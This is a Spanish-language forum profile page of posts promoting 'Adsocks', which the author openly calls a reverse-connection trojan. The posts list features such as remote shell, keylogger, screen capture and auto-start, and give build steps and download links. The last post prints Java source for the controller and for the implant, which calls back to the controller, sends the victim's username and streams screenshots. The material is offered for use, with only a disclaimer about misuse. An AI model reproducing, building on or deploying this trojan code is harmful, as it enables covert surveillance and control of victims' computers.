Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - AngelCruel

#1
Nota: El autor no se hace responsable por el mal uso que le den a la herramienta.

Sitio de descarga Adsocks OpenSource:
http://sourceforge.net/projects/adsocks

Tutorial para compilar codigo fuente:
http://adsocks.sytes.net/adsocks/develop.html

CARACTERISTICAS ADSOCKS OPEN SOURCE:

- Remote Desktop.
- Remote Shell.
- Upload and Download Files.
- Keylogger Online.
- Send Messages.
- Load and Run Script
- Information System
- Send Keys
- Clipboard
- Fun (Visit Web, Shutdown, Restart, etc)
- Build server.
- Uninstall server.
- Multiplataforma (Cliente funciona en Windows, Linux and Mac).
  • Keylogger available only on Windows.
- No progress bar works.
- Automatic reconnection when the connection is lost.
- Works with user accounts administrator and limited users.
- Client listens on ports 3.
- Algunas caracteristicas adicionales estan disponible en la version privada adsocks.sytes.net







#2
Nota: El autor no se hace responsable por el mal uso que le den a la herramienta.

CARACTERISTICAS ADSOCKS OPEN SOURCE:

- Remote Desktop.
- Remote Shell.
- Upload and Download Files.
- Keylogger Online.
- Send Messages.
- Information System.
- Build server.
- Uninstall server.
- Multiplataforma (Work Client/Server Windows, Linux and Mac).
  • Keylogger available only on Windows.
  • Support auto start in Mac available for free in the future (lack of resources for new processor).
  • Single server for all platforms.
- No progress bar works.
- Automatic reconnection when the connection is lost.
- Works with user accounts administrator and limited users.
- Client listens on ports 3.

Para mas info de los cambios los pueden ver aca:
http://adsocks.sytes.net/adsocks/update.html

http://farm7.static.flickr.com/6203/6024398939_93f7c5543e_z.jpg


http://farm7.static.flickr.com/6195/6024398953_b1cc9d966a_b.jpg


http://farm7.static.flickr.com/6061/6024398947_3c84867a9a_b.jpg




Sitio de descarga:
http://sourceforge.net/projects/adsocks
#3
link de descarga:
http://sourceforge.net/projects/adsocks

si encuentran algun bug postearlo.

Es un troyano de conexión inversa, el servidor se conecta al cliente, asi es mas facil que el cliente abra el puerto que tener que abrir el puerto en todos los servers.

- Captura del escritorio
- control del mouse
- subir y bajar archivos
- linea de comandos
- keylogger
- escucha en 3 puertos.
- autogenerador del server
- Algunas caracteristicas adicionales estan disponible en la version privada http://adsocks.sytes.net



FORMA DE COMPILAR:

esta compuesto de 3 proyectos: lib.class, troyano, adsocks.

compilen el proyecto lib.class despues vayan a la carpeta dist  y renombren el lib.class.jar generado por lib.class y lo copian en la carpeta src del proyecto troyano.

Lo mismo para con el proyecto troyano compilan luego se van a la carpeta dist renombran el archivo troyano.jar generado por lib.class y lo copian en la carpeta src del proyecto adsocks.

Y por ultimo compilan el proyecto adsocks y ya tienen el adocks listo para su uso.

update 0.3.0:
-el servidor ya funciona en linux pero no se auto inicia

update 0.4.0:
- se ha agregado nueva opcion keylogger
- ahora se crea 2 sevidores uno sin autuinicio para pruebas.
- opcion update compatible con servidor 0.3.0

update 0.4.1:
- ya se autoinicia en linux
- se puede activar/desactivar el mouse

updade 0.4.2:
- se ha arreglado problemas en la linea de comandos que dejaba sin conexion al servidor.

update 0.5.0:
- se ha corregido un error grave al bajar archivos
- se ha mejorado la interfaz para juntar todas las opciones
- algunas adiciones listas para un futuro no muy lejano

update 0.5.1:
- se ha mejorado la opcion update de un server para que se cierre lo que esta ejecutandose en memoria y se autoejecute la nueva version.

Nota: El autor no se hace responsable por el mal uso que le den a la herramienta.
#4
Advertencia: no me hago responsable por el mal uso que le puedan dar a este programa.

codigo fuente:
 
http://sourceforge.net/projects/adsocks





Esta es la ventana para contruir el servdor.

#6
Java / un ejemplo de troyano en java
19 Julio 2010, 08:30 AM

Esta es la clase principal del cliente:

Código (java) [Seleccionar]
[co]deimport java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.swing.border.LineBorder;
import javax.swing.border.TitledBorder;
import javax.swing.table.*;

public class cliente extends JFrame implements Runnable, ActionListener {

   JPopupMenu menuContextual;
   static DefaultTableModel model;
   static JTable table;
   JButton ver;
   boolean ok = true;
   String[][] datosEquipos = new String[0][0];
   String[] tituloTable = new String[]{"Nombre Maquina", "IP", "Nombre de Usuario", "Puerto"};
   int indice, numeropuerto = 3277;
   String tip;
   JPanel panel, botones;
   JTextArea info = new JTextArea(4, 4);
   JButton Puerto;
   private RecursoClientes recurso;
   private Socket cliente;
   private ServerSocket servidor;
   private ObjectOutputStream salida;
   private ObjectInputStream entrada;
   private String nombre;
   private boolean conectado = false;
   Ingreso ingreso;

   public cliente() {
       ingreso = new Ingreso();
       ingreso.addWindowListener(new cerrar(this));
       ingreso.aceptar.addActionListener(this);
       ingreso.cancelar.addActionListener(this);
       ingreso.tcontraseña.setText("xxx");
       crearServidor();

       crearPanel();
       setTitle("Cliente");
       setSize(540, 380);
       setLocationRelativeTo(null);

       model = new DefaultTableModel(datosEquipos, tituloTable);
       table = new JTable(model);
       table.setSelectionMode(0);
       add(table, BorderLayout.CENTER);
       ver = new JButton("Ver escritorio");
       ver.addActionListener(this);
       Puerto.addActionListener(this);

       menuContextual = new JPopupMenu();
       menuContextual.add(ver);

       table.addMouseListener(
               new MouseAdapter() {  // clase interna anónima
                   // manejar evento de oprimir botón del ratón

                   public void mousePressed(MouseEvent evento) {
                       checkForTriggerEvent(evento);
                   }

                   // manejar evento de soltar el botón del ratón
                   public void mouseReleased(MouseEvent evento) {
                       int row = table.rowAtPoint(evento.getPoint());
                       System.out.println(row);
                       if (row != -1) {
                           table.changeSelection(row, 0, false, false);
                           checkForTriggerEvent(evento);
                       } else {
                           try {
                               table.clearSelection();
                               checkForTriggerEvent(null);
                           } catch (Exception ex) {
                               System.out.println("No a seleccionado nada");
                           }
                       }
                       indice = row;
                   }

                   // determinar si evento debe desencadenar el menú contextual
                   private void checkForTriggerEvent(MouseEvent evento) {
                       if (evento.isPopupTrigger()) {
                           menuContextual.show(evento.getComponent(), evento.getX(), evento.getY());
                       }
                   }
               } // fin de la clase interna anónima
               );

       setDefaultCloseOperation(this.EXIT_ON_CLOSE);
       setVisible(true);
   }

   public void crearServidor() {
       try {
           recurso = RecursoClientes.getInstance();
           servidor = new ServerSocket(numeropuerto);
       } catch (UnknownHostException ex) {
           ex.printStackTrace();
       } catch (IOException ex) {
           ex.printStackTrace();
       }
   }

   public void crearPanel() {
       Puerto = new JButton("Puerto");
       panel = new JPanel(new BorderLayout());
       FlowLayout flow = new FlowLayout();
       flow.setAlignment(FlowLayout.LEFT);
       botones = new JPanel(flow);
       panel.add("North", new JScrollPane(info));
       TitledBorder border = new TitledBorder(new LineBorder(Color.black), "", TitledBorder.RIGHT, TitledBorder.BOTTOM);
       panel.add("Center", new JSeparator());
       panel.add("South", botones);
       botones.add(Puerto);
       add(panel, BorderLayout.SOUTH);
   }

   public void run() {
       while (true) {
           info.append("\nEcuchando en el puerto: " + numeropuerto);
           try {
               info.append("\nEsperando un cliente");
               cliente = servidor.accept();
               info.append("\nIngreso un cliente");
           } catch (IOException ex) {
               //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
               info.append("Ha ocurrido un error recibiendo la conexion con el cliente.\n");
               info.append("Este programa se cerrara ...\n");
               System.exit(1);
           }
           try {
               salida = new ObjectOutputStream(cliente.getOutputStream());
               salida.flush();
               entrada = new ObjectInputStream(cliente.getInputStream());
               nombre = (String) entrada.readObject();

               info.append("\nRecibido: " + nombre);

               if (nombre.equals("Nuevo")) {
                   this.setFocusable(false);
                   ingreso.setVisible(true);
                   do {
                       Thread.sleep(1000);
                   } while (ok);
               }
               if (!ok) {
                   nombre = (String) entrada.readObject();
               }
               salida.writeObject((Object) "xxx");
               Object[] newRow = {nombre, (String) entrada.readObject(), tip = (String) entrada.readObject()};
               model.addRow(newRow);
               conectado = true;
           } catch (Exception e) {
               //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
               conectado = false;
           }

           if (conectado) {
               ManejadorCliente manejador = new ManejadorCliente(cliente, entrada, salida);
               manejador.setNombre(nombre);
               manejador.setIP(tip);
               this.addManejadorCliente(manejador);
               manejador.start();
               info.append("El cliente " + nombre + " se ha conectado.\n");
               info.append("Numero de clientes: " + recurso.size() + "\n");
           }
       }
   }

   public void actionPerformed(ActionEvent e) {
       if (e.getSource() == ver) {
           menuContextual.setVisible(false);
           ManejadorCliente manejador = recurso.getManejadorCliente(indice);
           manejador.Mensaje(1);
       }
       if (e.getSource() == ingreso.aceptar) {
           ok = false;
           ingreso.setVisible(false);
           try {
               salida.writeObject((Object) ingreso.tcontraseña.getText());
               salida.writeObject((Object) ingreso.tnombre.getText());
           } catch (IOException ex) {
               ex.printStackTrace();
           }
       }
       if (e.getSource() == Puerto) {
           numeropuerto = Integer.valueOf(JOptionPane.showInputDialog(this, "Ingrese el nuevo Puerto:", "Cambiar Puerto", JOptionPane.INFORMATION_MESSAGE));
           //cliente();
       }
   }

   private void addManejadorCliente(ManejadorCliente manejador) {
       recurso.addManejadorCliente(manejador);
   }

   @Override
   public void finalize() {
   }

   public static void eliminarMaq(String nombre, String ip) {
       for (int i = 0; i <= model.getRowCount() - 1; i++) {
           if (model.getValueAt(i, 0).equals(nombre) && model.getValueAt(i, 2).equals(ip)) {
               model.removeRow(i);
               break;
           }
       }
   }

   public static void main(String args[]) {
       cliente c = new cliente();
       Thread hilo = new Thread(c);
       hilo.start();
   }

   class cerrar extends WindowAdapter {

       Frame oframe;

       public cerrar(Frame miframe) {
           oframe = miframe;
       }

       public void windowClosing(WindowEvent ev) {
           oframe.setVisible(false);
       }
   }
}


y esta es la clase principal del servidor:

Código (java) [Seleccionar]


import java.awt.*;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.*;
import java.util.zip.*;
import javax.imageio.*;

public class svd implements Runnable {

    String ipExterna = "0.0.0.0";
    Properties pro;
    Scanner scanner;
    Formatter archivo;
    int opc = 0;
    String ip = "localhost", pass = "xxx";
    private boolean conectado = false;
    private Thread hilo;
    Socket soc;
    ObjectOutputStream output;
    ObjectInputStream input;

    public void conectar() {
        try {
            soc = new Socket(ip, 3277);
            output = new ObjectOutputStream(soc.getOutputStream());
            output.flush();
            input = new ObjectInputStream(soc.getInputStream());
            conectado = true;
        } catch (IOException ex) {
            System.out.println("Error al conectar");
            conectado = false;
        }
    }

    public svd() {
        pro = System.getProperties();
        hilo = new Thread(this);
        hilo.start();
    }

    public void run() {
        while (true) {
            conectar();
            if (conectado) {
                try {
                    try {
                        scanner = new Scanner(new File("nombre.txt"));
                    } catch (FileNotFoundException ex) {
                        enviar((Object) "Nuevo");
                        String s = null;
                        while (true) {
                            s = (String) input.readObject();
                            if (s.equals(pass)) {
                                break;
                            }
                        }
                        archivo = new Formatter("nombre.txt");
                        archivo.format("%s", (String) input.readObject());
                        archivo.flush();
                        archivo = null;
                    }
                    scanner = new Scanner(new File("nombre.txt"));
                    enviar((Object) scanner.next());
                    String by;
                    while (true) {
                        by = (String) input.readObject();
                        if (by.equals(pass)) {
                            break;
                        }
                    }
                    enviar((Object) pro.getProperty("user.name"));
                    enviar((Object) ipExterna);

                    int salir = 0;
                    do {
                        try {
                            opc = (Integer) input.readObject();
                            switch (opc) {
                                case 1:
                                    output.writeObject((Object) 1);
                                    Rectangle rectangleTam = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
                                    try {
                                        Robot robot = new Robot();
                                        BufferedImage bufferedImage = robot.createScreenCapture(rectangleTam);
                                        ByteArrayOutputStream salidaImagen = new ByteArrayOutputStream();
                                        ImageIO.write(bufferedImage, "jpg", salidaImagen);
                                        byte[] bytesImagen = salidaImagen.toByteArray();

                                        GZIPOutputStream gzipout = new GZIPOutputStream(soc.getOutputStream());
                                        ObjectOutputStream oos = new ObjectOutputStream(gzipout);
                                        oos.writeObject(bytesImagen);
                                        gzipout.finish();
                                    } catch (AWTException e) {
                                        e.printStackTrace();
                                    } // procesar los problemas que pueden ocurrir al enviar el objeto
                                    catch (IOException io) {
                                        io.printStackTrace();
                                    }
                                    break;
                                case 10:
                                    salir = 10;
                                    break;
                            }
                        } catch (NumberFormatException ev) {
                            ev.printStackTrace();
                            break;
                        } catch (ClassCastException ec) {
                            ec.printStackTrace();
                            break;
                        }
                    } while (salir != 10);

                } catch (Exception e) {
                    e.printStackTrace();
                    try {
                        output.close();
                        input.close();
                        soc.close();
                    } catch (IOException ex) {
                        ex.printStackTrace();
                    }
                }
            }

            try {
                hilo.sleep(3000);
            } catch (InterruptedException ex) {
                ex.printStackTrace();
            }
        }
    }

    public void enviar(Object ob) {
        try {
            output.writeObject(ob);
            output.flush();
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }

    /*public static void main(String args[]) {
    new svd();
    }*/
    @Override
    public void finalize() {
        try {
            input.close();
            output.close();
            soc.close();

        } catch (IOException ex) {
            //Logger.getLogger(Orquestador.class.getName()).log(Level.SEVERE, null, ex);
            ex.printStackTrace();
            input = null;
            output = null;
            soc = null;
        }
        hilo = null;
    }
}


para el codigo completo esta en: http://sourceforge.net/projects/adsocks/